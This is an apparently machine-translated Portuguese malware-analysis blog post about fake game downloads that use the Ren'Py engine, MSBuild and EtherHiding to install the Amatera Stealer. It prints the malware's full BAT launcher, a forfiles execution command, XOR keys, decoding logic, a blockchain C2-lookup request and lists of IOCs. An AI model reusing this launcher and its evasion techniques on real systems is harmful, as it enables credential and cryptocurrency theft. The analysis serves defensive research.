Jogos falsos disseminam programas de roubo de dados usando o RenPy Loader, o MSBuild e o EtherHiding

| 20 de julho de 2026
Logotipo do Ren'Py

Detectamos várias campanhas que utilizam downloads falsos de jogos, mods, cracks e softwares para disseminar o RenPy Loader. Uma vez instalado, o carregador inicia uma cadeia de infecção complexa e em várias etapas que se aproveita do MSBuild e da técnica EtherHiding antes de, por fim, instalar o Amatera Stealer.

O Amatera é um infostealer — um tipo de malware projetado para roubar informações confidenciais de um dispositivo infectado. Ele pode ter como alvo senhas e outros dados armazenados em navegadores, carteiras de criptomoedas, extensões de navegador, aplicativos de mensagens e arquivos locais. As credenciais e os dados de sessão roubados também podem permitir que os invasores acessem as contas online da vítima.

A vítima pode ver o que parece ser um jogo ou um instalador de software normal, enquanto o malware é executado silenciosamente em segundo plano.

O RenPy Loader, também conhecido como RenEngine Loader, é particularmente interessante porque se aproveita indevidamente do Ren’Py, um motor legítimo usado para criar romances visuais, jogos baseados em enredo e ficção interativa. Ao ocultar código malicioso dentro de softwares associados a jogos, os invasores conseguem fazer com que seus downloads pareçam mais confiáveis para pessoas que procuram jogos, mods ou softwares crackeados.

Já vimos anteriormente que os invasores se valem indevidamente de ferramentas legítimas de desenvolvimento e frameworks de software emergentes, incluindo o Bun e o Deno, para distribuir malware. O RenPy Loader segue o mesmo padrão: os invasores se aproveitam de tecnologias legítimas para disfarçar atividades maliciosas, complicar a cadeia de infecção e dificultar a detecção.

Também foi observado que o RenPy Loader distribui outros tipos de malware, incluindo o HijackLoader e o Lumma Stealer, o que demonstra que a carga útil final pode variar de acordo com a campanha.

Neste blog, analisamos uma cadeia de infecção na qual o Ren’Py descriptografa um arquivo ZIP contendo um arquivo BAT e vários arquivos de projeto do MSBuild. Esses arquivos carregam um componente .NET infectado por um trojan, que, por sua vez, decodifica outro componente malicioso.

Esse componente malicioso utiliza uma técnica chamada EtherHiding para localizar seu servidor de comando e controle (C2). Em vez de armazenar o endereço do C2 diretamente no malware, os invasores o ocultam em dados armazenados em uma blockchain pública. Em seguida, o malware baixa as próximas etapas do ataque a partir desse servidor, tornando a infraestrutura dos invasores mais difícil de identificar e neutralizar.

Por fim, examinamos as cargas úteis adicionais que, em última instância, descriptografam e executam o Amatera Stealer.

Downloads falsos infectam seu dispositivo

A infecção começa quando alguém baixa um suposto jogo, mod, crack ou programa. Identificamos arquivos maliciosos distribuídos por meio de:

  • Sites maliciosos
  • Portais de download de jogos
  • Vários serviços de compartilhamento de arquivos, incluindo Wormhole, GoFile, Google Drive e MEGA

Aqui estão algumas das páginas detectadas que dão início à cadeia de infecção:

Em vários casos, clicar em um link de download redirecionava o usuário para outro site falso de download. Essas páginas utilizavam designs diferentes e nomes de serviços inventados, o que ajudava as campanhas a parecerem menos repetitivas e tornava a infraestrutura maliciosa mais difícil de ser reconhecida.

A seguir, apresentamos exemplos de páginas falsas de download utilizadas para distribuir o arquivo malicioso:

O usuário baixa um arquivo compactado que contém um arquivo chamado Setup.exe. Ao abrir esse arquivo, inicia-se a cadeia de infecção.

Exemplo de um arquivo baixado de um site malicioso
Exemplo de um arquivo baixado de um site malicioso

A vítima vê uma tela de carregamento ou instalação, mas um código malicioso está sendo executado em segundo plano.

A tela de instalação
A tela de instalação

Como se manter seguro

Algumas precauções podem reduzir o risco de baixar jogos ou softwares maliciosos:

  • Baixe jogos e softwares de sites oficiais, lojas de aplicativos confiáveis ou plataformas de distribuição reconhecidas.
  • Tenha cuidado com softwares piratas, mods não oficiais e versões gratuitas de jogos pagos.
  • Tenha cuidado quando um link de download o redirecionar por vários sites desconhecidos ou serviços de compartilhamento de arquivos.
  • Verifique o conteúdo dos arquivos compactados baixados antes de abrir arquivos executáveis, como Setup.exe.
  • Fique atento a nomes de arquivos incomuns, imagens ou arquivos de texto sem relação com o assunto e conteúdo que não corresponda ao que você pretendia baixar.
  • Use um software antimalware em tempo real, como o Malwarebytes.
  • Mantenha seu sistema operacional, navegador e software de segurança atualizados.

Os responsáveis por essas campanhas criam constantemente novos sites e alteram suas páginas de download. Um instalador com aparência profissional ou um serviço de compartilhamento de arquivos conhecido não garante que um download seja seguro.

Análise técnica do carregador do RenPy

O Ren’Py é um mecanismo gratuito e de código aberto para a criação de romances visuais, jogos baseados em enredo e ficção interativa. O Ren’Py permite a integração de scripts em Python, dos quais os invasores se valem para inserir código malicioso.

Nesse caso, encontramos código malicioso nos seguintes arquivos e caminhos:

Caminho

Descrição

data/python-packages/sys_config/

Classes anti-sandbox

data/libwin32.rpa

Carregador

data/.GEg

Configuração criptografada com XOR

data/j3lpTcg7kBRN.E3

ZIP criptografado com XOR

O carregador do primeiro estágio extraído de libwin32.rpa realiza as seguintes operações:

  • Lê a configuração data/.GEg e o descriptografa usando a decodificação Base64 e a operação XOR com a chave 81034149cd6f48c8821340204f92766e. Essa configuração contém a senha usada para extrair o ZIP, além de outros dados de configuração utilizados pelo carregador.
  • Chamadas sys_config.is_sandboxed() e encerra a execução caso seja detectada uma sandbox.
  • Descriptografia XOR data/j3lpTcg7kBRN.E3 usando a chave A50YyY1 para baixar o arquivo ZIP.
  • Extraia o conteúdo do ZIP para uma pasta aleatória na subpasta %TEMP%/tmp-{5 digits}-{12 characters} e escreve um :Zone.Identifier fluxo de dados alternativo (ADS) com ZoneId=0 para remover a Marca da Web e contornar o SmartScreen. Ele também insere um REM inserir a sequência no arquivo BAT extraído.
  • Lança a carga útil usando forfiles.exe.
  • Envia o MAC do computador e o ID da campanha para um site de rastreamento.
A configuração decodificada
A configuração decodificada
Os arquivos contidos no ZIP descriptografado
Os arquivos contidos no ZIP descriptografado

Nesse caso, o arquivo BAT extraído foi executado usando o seguinte comando:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Conteúdo do arquivo BAT:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

O arquivo BAT executado realiza as seguintes operações:

  • É reiniciado em um console oculto ou sem interface gráfica:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Habilita as funções de propriedade do MSBuild, permitindo métodos adicionais, tais como AppDomain.CurrentDomain.Load a ser executado:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Executa MSBuild.exe com Nancy.csproj como seu arquivo de projeto. Durante a avaliação do projeto, uma função de propriedade maliciosa do MSBuild realiza a decodificação hexadecimal e carrega de forma reflexiva a próxima etapa da DLL.

A DLL “Nancy” infectada por um trojan e o bytecode personalizado

Nancy.csproj importa os três arquivos extraídos Nancy.csproj.user, Internal.propse Nancy.Compile.targets. A DLL maliciosa está dividida em três partes armazenadas nesses arquivos.

Os arquivos importados no arquivo Nancy.csproj
Os arquivos importados dentro de Nancy.csproj

Nancy.Compile.targets concatena os três valores para decodificar a DLL no formato hexadecimal e executar o DefaultEvaluator5 método utilizando AppDomain.CurrentDomain.Load.CreateInstance.

Execução do DefaultEvaluator5
Execução de DefaultEvaluator5

O interessante é que Nancy.csproj tem duas finalidades: é o projeto MSBuild usado para executar o carregador da primeira fase e também contém a fase seguinte, decodificada pelo carregador.

A DLL é uma versão trojanizada da biblioteca Nancy .NET e consiste em um carregador .NET ofuscado com código malicioso implementado no DefaultEvaluator5 classe. Parte da funcionalidade da DLL é implementada em bytecode personalizado executado por esse método main.

Comparação entre as DLLs legítimas e as DLLs da Nancy infectadas por trojans
Comparação entre as DLLs legítimas e as DLLs da Nancy infectadas por trojans

A DLL realiza as seguintes operações:

  • Descriptografa strings de recursos usando descriptografia XOR com múltiplas chaves.
  • Resolve APIs usando hash de API e GetDelegateForFunctionPointer.
  • Altera as configurações de rede, incluindo a desativação da validação de certificados TLS e a definição do proxy padrão do sistema.
  • Realiza operações anti-forenses.
  • Lê o _czzf variável de ambiente, que aponta para a anterior Nancy.csproj arquivo, em seguida o decodifica e o executa.

O principal DefaultEvaluator5 O método recupera strings e interpreta o bytecode contido nos seguintes recursos:

  • Nancy.Runtime.mvlorimu: Contém o bytecode personalizado. O bytecode é interpretado por _pv e _sro. Ele implementa 23 códigos de operação usados para descriptografar outras sequências de caracteres e carregar a DLL da próxima etapa.
  • Nancy.Data.tcnlhxw e Nancy.Resources.kxxodp: Contém as sequências criptografadas e outros dados utilizados para a descriptografia, incluindo chaves, comprimentos, índices e a S-box.

As sequências são descriptografadas usando o seguinte algoritmo:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

A próxima etapa da DLL, GollopDevest, é decodificado a partir do mesmo Nancy.csproj arquivo que utiliza a seguinte lógica e é carregado com AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
A próxima etapa codificada entre os marcadores Pack
A próxima etapa codificada entre o Pack marcadores

EtherHiding e Amatera Stealer

A próxima etapa extraída é uma DLL chamada GollopDevest.dll, um programa de download para .NET que utiliza a técnica EtherHiding para obter o endereço do servidor de comando e controle (C2) e baixar a próxima fase.

O domínio C2 criptografado é obtido por meio de uma chamada JSON-RPC do Ethereum eth_call solicitação para bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Esse downloader do EtherHiding provavelmente faz parte de uma operação do tipo “malware como serviço” (MaaS), já que detectamos sua distribuição em outras campanhas, incluindo as campanhas do ClickFix.

Em seguida, são baixadas três cargas úteis adicionais: duas DLLs do .NET chamadas PavinWide (uma DLL anti-análise) e GollopDevest (uma DLL carregadora) e uma DLL em C++ chamada LanoseThrip, que, por fim, descriptografa e carrega o Amatera Stealer.

Nesse caso, essas cargas úteis foram baixadas de:

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

As DLLs do .NET são fortemente ofuscadas por meio do achatamento do fluxo de controle e de chamadas indiretas por meio de calli/ldftn, criptografia de strings com diversos algoritmos, código indesejado, código inativo e strings falsas, como caminhos de URL.

A análise dessas DLLs ainda está em andamento e será abordada com mais detalhes nas próximas postagens do blog.

Indicadores de Compromisso (IOCs)

Domínios

  • downpro[.]net – Site falso de download
  • macisofile[.]sbs – Site falso de download
  • visitmama[.]blog – Site falso de download
  • visitmama[.]guru – Site falso de download
  • getgamerfree[.]com – Site falso de download
  • fullgames[.]digital – Site falso de download
  • flingbase[.]net – Site falso de download
  • citronemu[.]com – Site falso de download
  • filemodo[.]xyz – Infraestrutura de distribuição
  • storage06x[.]cfd – Infraestrutura de distribuição
  • p03sil[.]cyou – Infraestrutura de distribuição
  • wimsedas[.]xyz – Infraestrutura de distribuição
  • againstmor[.]store – Infraestrutura de distribuição
  • host03q[.]cfd – Infraestrutura de distribuição
  • cloud01y[.]cfd – Infraestrutura de distribuição
  • storage11x[.]cfd – Infraestrutura de distribuição
  • storage04x[.]cfd – Infraestrutura de distribuição
  • host82p[.]cfd – Infraestrutura de distribuição
  • cloud05y[.]cfd – Infraestrutura de distribuição
  • analyticstrack-pzh[.]click – Site de rastreamento
  • login.orbitalframework[.]cc – Amatera Stealer C2

Endereços IP

  • 144.124.251[.]171 – Utilizado para obter cargas úteis adicionais
  • 195.63.140[.]33 – Utilizado para obter cargas úteis adicionais
  • 78.40.196[.]252 – Utilizado para obter cargas úteis adicionais

Hashes de arquivos (MD5)

  • 29203ca123d51b1b33505a0813d360df – Carregador de primeiro estágio (DLL trojanizada)
  • 810F257542018BE0FC62AF542D13D012 – DLL do GollopDevest (DLL do Downloader)
  • 681DB529E402467A4B0567C82A350FC0 – DLL do PavinWride (DLL anti-análise)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – DLL do GollopDevest (DLL do carregador)
  • F8453EFE408CE25B9484F872797E3D63 – Carga útil final

Prêmio Escolha dos Editores da CNET 2026

De acordo com a CNET.Leia a resenha deles


Sobre o autor

Gabriele é um engenheiro de pesquisa de malware que adora combater malware. Quando não está fazendo isso, você o encontrará curtindo a natureza, a arte e os animais.